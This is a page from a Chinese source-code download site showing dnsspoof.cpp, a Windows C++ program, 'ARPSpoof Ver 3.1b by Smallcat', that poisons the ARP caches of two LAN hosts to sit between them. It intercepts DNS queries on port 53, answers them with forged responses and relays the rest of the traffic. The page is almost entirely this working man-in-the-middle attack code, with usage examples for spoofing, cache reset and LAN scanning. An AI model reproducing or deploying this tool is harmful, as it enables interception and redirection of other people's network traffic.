⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 dnsspoof.cpp

📁 实现了在arp欺骗环境下
💻 CPP
字号:
#include <stdio.h>
#include <pcap.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wpcap.lib")

#include "loaddrv.h"
#include "iphlpapi.h"
#include "as_packet.h"
#include "as_spoof.h"
#include "as_tcpip.h"
#include "as_scan.h"
#include "as_dns.h"

HANDLE hThread; // 发送RARP包的线程
u_int16 g_uPort; // 要监视的端口号
pcap_t *adhandle; // 网卡句柄
HANDLE g_hEvent; // 捕捉 Ctrl+C

// 对应ARPSPOOF结构中的成员
u_int8 ucSelf[6] = {0};
u_int8 ucIPA[6] = {0};
u_int8 ucIPB[6] = {0};
u_int8 szIPSelf[16] = {0};
u_int8 szIPA[16] = {0};
u_int8 szIPB[16] = {0};
u_int8 szIPGate[16] = {0};

int8 logbuff[1024] = {0};

//////////////////////////////////////////////////////////////////////////
//  为公用变量赋值,初始化参数
//////////////////////////////////////////////////////////////////////////
BOOL InitSpoof(char **argv)
{
	// IPSelf, ucSelf 已经在打开网卡时初始化过了
	memset(ucIPA, 0xff, 6);
	memset(ucIPB, 0xff, 6);
	memset(szIPA, 0 ,16);
	memset(szIPB, 0 ,16);
	
	if (!GetMac(argv[1], ucIPA)) {
		printf("[!] Error Get Mac Address of %s\n", argv[1]);
		return FALSE;
	}
	if (!GetMac(argv[2], ucIPB)) {
		printf("[!] Error Get Mac Address of %s\n", argv[2]);
		return FALSE;
	}

	strcpy((char *) szIPA, (char *) argv[1]);
	strcpy((char *) szIPB, (char *) argv[2]);
	StaticARP((u_int8 *) szIPA, ucIPA);
	StaticARP((unsigned char *) szIPB, ucIPB);

	return TRUE;
}

//////////////////////////////////////////////////////////////////////////
// 显示ARP欺骗信息 (调试用)
// 加延迟是为了等待参数传递,因为函数公用一个ARPSPOOF变量
//////////////////////////////////////////////////////////////////////////
void SpoofInfo(PARPSPOOF arpspoof)
{
	printf("Spoof %s %s MAC %.2X-%.2X-%.2X-%.2X-%.2X-%.2X\n",
		arpspoof->szTarget, arpspoof->szIP, 
		arpspoof->ucPretendMAC[0], arpspoof->ucPretendMAC[1],
		arpspoof->ucPretendMAC[2], arpspoof->ucPretendMAC[3],
		arpspoof->ucPretendMAC[4], arpspoof->ucPretendMAC[5]
		);
	Sleep(100);
}

//////////////////////////////////////////////////////////////////////////
// 处理ARP欺骗例程,开始Spoof
//////////////////////////////////////////////////////////////////////////
void ARPSpoof()
{
	PARPSPOOF arpspoof = (PARPSPOOF) malloc(sizeof(ARPSPOOF));
	arpspoof->adhandle = adhandle;
	memcpy(arpspoof->ucSelfMAC, ucSelf, 6);

	// Spoof IP1 -> IP2
	strcpy((char *) arpspoof->szTarget, (char*)szIPA);
	memcpy(arpspoof->ucTargetMAC, ucIPA, 6);
	strcpy((char *) arpspoof->szIP, (char*)szIPB);
	memcpy(arpspoof->ucIPMAC, ucIPB, 6);
	memcpy(arpspoof->ucPretendMAC, ucSelf, 6);
	hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
		(LPVOID) arpspoof, NULL, NULL);
#ifdef _DEBUG
	SpoofInfo(arpspoof);
#endif
}

//////////////////////////////////////////////////////////////////////////
// 重置ARP欺骗,恢复受骗主机的ARP cache
//     和ARPSpoof做相反操作
//////////////////////////////////////////////////////////////////////////
void ResetSpoof()
{
	printf("[+] Reseting .....\n");

	TerminateThread(hThread, 0);

	PARPSPOOF arpspoof = (PARPSPOOF) malloc(sizeof(ARPSPOOF));

	arpspoof->adhandle = adhandle;
	strcpy((char *) arpspoof->szTarget, (char*)szIPA);
	memcpy(arpspoof->ucTargetMAC, ucIPA, 6);
	strcpy((char *) arpspoof->szIP, (char*)szIPB);
	memcpy(arpspoof->ucIPMAC, ucIPB, 6);
	memcpy(arpspoof->ucPretendMAC, ucIPB, 6);
	memcpy(arpspoof->ucSelfMAC, ucSelf, 6);
	hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
		(LPVOID) arpspoof, NULL, NULL);

	printf("[-] Sleep 5s ");
	for(int i = 0; i < 12; i++, Sleep(300))
			printf(".");
	printf("\n");
	TerminateThread(hThread, 0);	

	// pcap_breakloop后,所有对网卡的操作都会使用程序中止,切记
	pcap_breakloop(adhandle); 
}

//////////////////////////////////////////////////////////////////////////
//  处理转发、修改、保存数据包的例程
//////////////////////////////////////////////////////////////////////////
void ForwardPacket(pcap_t *adhandle, const u_int8 *pkt_data, u_int32 pkt_len)
{
	ETHeader *eh;
    IPHeader *ih;
    UDPHeader *uh;
	u_int16 ip_len;	//ip数据报头长度
	u_int16 iplength;	//ip数据报的总长度
	u_int16 uh_len;	//udp头长度
	u_int8 szSource[16],szDest[16];
    u_int16 sport, dport;

	eh = (ETHeader *) pkt_data;

	if(eh->type != htons(ETHERTYPE_IP))	return; // 只转发IP包

	ih = (IPHeader *) (pkt_data + 14); //找到IP头的位置,14为以太头的长度
	ip_len = (ih->iphVerLen & 0x0f) * 4; 
	uh = (UDPHeader *) ((u_int8*)ih + ip_len); // 找到UDP的位置
	uh_len = 8;

	// 将端口信息从网络型转变为主机顺序
	sport = ntohs(uh->sport);
	dport = ntohs(uh->dport );
	iplength = ntohs(ih->ipLength);

	// 得到源IP地址,目标IP地址
	sprintf((char*)szSource, "%d.%d.%d.%d",
		(char*)ih->ipSourceByte.byte1, (char*)ih->ipSourceByte.byte2,
		(char*)ih->ipSourceByte.byte3, (char*)ih->ipSourceByte.byte4);
	sprintf((char*)szDest, "%d.%d.%d.%d",
		(char*)ih->ipDestinationByte.byte1, (char*)ih->ipDestinationByte.byte2,
		(char*)ih->ipDestinationByte.byte3, (char*)ih->ipDestinationByte.byte4);

	// 开始过滤要转发的数据包
	if (strcmp((char*)szDest, (char*)szIPSelf) != 0 && memcmp(ucSelf, eh->dhost,6) == 0) {
		// rebuild IPA -> IPB
		if (memcmp(eh->shost, ucIPA, 6) == 0 &&
			strcmp((char*)szSource, (char*)szIPA) == 0			
			)
		{
			u_int32 snd_len = pkt_len+16;
			u_int8* snd_buf = new u_int8[snd_len];
			if ( ih->ipProtocol == PROTO_UDP && 
				dport == 53 &&
				DecodeDNS(pkt_data, pkt_len, snd_buf, snd_len)) 
			{
				if(pcap_sendpacket(adhandle, (const u_int8 *) snd_buf, snd_len) < 0) {
					printf("[!] Forward thread send packet error\n");
				}
				printf("[+] complete one DNS cheap!\n");
			}
			else {
				memcpy(eh->shost, eh->dhost, 6);
				memcpy(eh->dhost, ucIPB, 6);
				if(pcap_sendpacket(adhandle, (const u_int8 *) pkt_data, pkt_len) < 0) {
					printf("[!] Forward thread send packet error\n");
				}
			}
			delete []snd_buf;
		}
		// rebuild IPB -> IPA
		else if (memcmp(eh->shost, ucIPB, 6) == 0 &&
				strcmp((char*)szSource, (char*)szIPB) == 0 &&
				strcmp((char*)szDest, (char*)szIPA) == 0) 
		{
			// 修改以太网头
			memcpy(eh->shost, eh->dhost, 6);
			memcpy(eh->dhost, ucIPA, 6);

			if (pcap_sendpacket(adhandle, (const u_int8 *) pkt_data, pkt_len) < 0) {
				printf("[!] Forward thread send packet error\n");
			}
		}
	}
}

//////////////////////////////////////////////////////////////////////////
// pcap_loop的回调函数,把接收到的数据传给ForwardPacket函数处理
//////////////////////////////////////////////////////////////////////////
void packet_handler(u_int8 *param, const struct pcap_pkthdr *header, const u_int8 *pkt_data)
{
	ForwardPacket(adhandle, pkt_data, header->len);
}

//////////////////////////////////////////////////////////////////////////
// 捕获控制台事件的函数,主要是处理程序中断事务
//////////////////////////////////////////////////////////////////////////
BOOL CtrlHandler( DWORD fdwCtrlType ) 
{ 
	switch (fdwCtrlType) 
	{ 
		// Handle the CTRL-C signal. 
	case CTRL_C_EVENT: 
	case CTRL_CLOSE_EVENT: 
	case CTRL_BREAK_EVENT:  
	case CTRL_LOGOFF_EVENT: 
	case CTRL_SHUTDOWN_EVENT:
		ResetSpoof(); //  恢复欺骗主机的arp cache
		return TRUE;		
	default: 
		return FALSE;
	}
}

//////////////////////////////////////////////////////////////////////////
// 帮助函数,对一些参数的说明和程序的使用
//////////////////////////////////////////////////////////////////////////
void Help()
{
	printf("Usage:\n");
	printf("  ArpSpoof <IPA> <IPB> <PORT> <AdpNum> <Option>\n");
	printf("Examples:\n");
	printf("\t> ArpSpoof 192.168.0.3 192.168.0.1 0\n");
	printf("\t  # DNS Cheap 192.168.0.3 on AdpNum 0\n\n");
	printf("\t> ArpSpoof 192.168.0.3 192.168.0.8 /reset\n");
	printf("\t  # Restore Arp buffer 192.168.0.3 <--> 192.168.0.8\n\n");
	printf("\t> ArpSpoof /s 192.168.0.1 255.255.255.0\n");
	printf("\t  # Scan lan host\n\n");
	printf("\t> ArpSpoof /l\n");
	printf("\t  # Lists adapters\n\n");
}

//////////////////////////////////////////////////////////////////////////
// 主函数,主要处理参数的初始化
//////////////////////////////////////////////////////////////////////////
int main(int argc, char *argv[])
{
	printf("ARPSpoof Ver 3.1b by Smallcat\n");
	
	StartDriver(DriverPath, ServiceName);
	
	if (argc < 1) {		// 参数不正确,显示使用帮助
		Help();
		DeleteDriver(ServiceName);
		return FALSE;
	}

	// 打开网卡,初始化szIPSelf, ucSelf, szIPGate变量
	if ((adhandle = OpenAdapter(atoi(argv[3]), (char*)szIPSelf, ucSelf, (char*)szIPGate)) == NULL) {
		printf("[!] Open adatper error!\n");
		DeleteDriver(ServiceName);
		return FALSE;
	}

	// 初始化其它变量,转入核心例程
	if (InitSpoof(argv)) {
		SetConsoleCtrlHandler((PHANDLER_ROUTINE) CtrlHandler, TRUE);
		ARPSpoof();
		pcap_loop(adhandle, 0, packet_handler, NULL);
	}
	pcap_close(adhandle);
	DeleteDriver(ServiceName);
	return TRUE;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -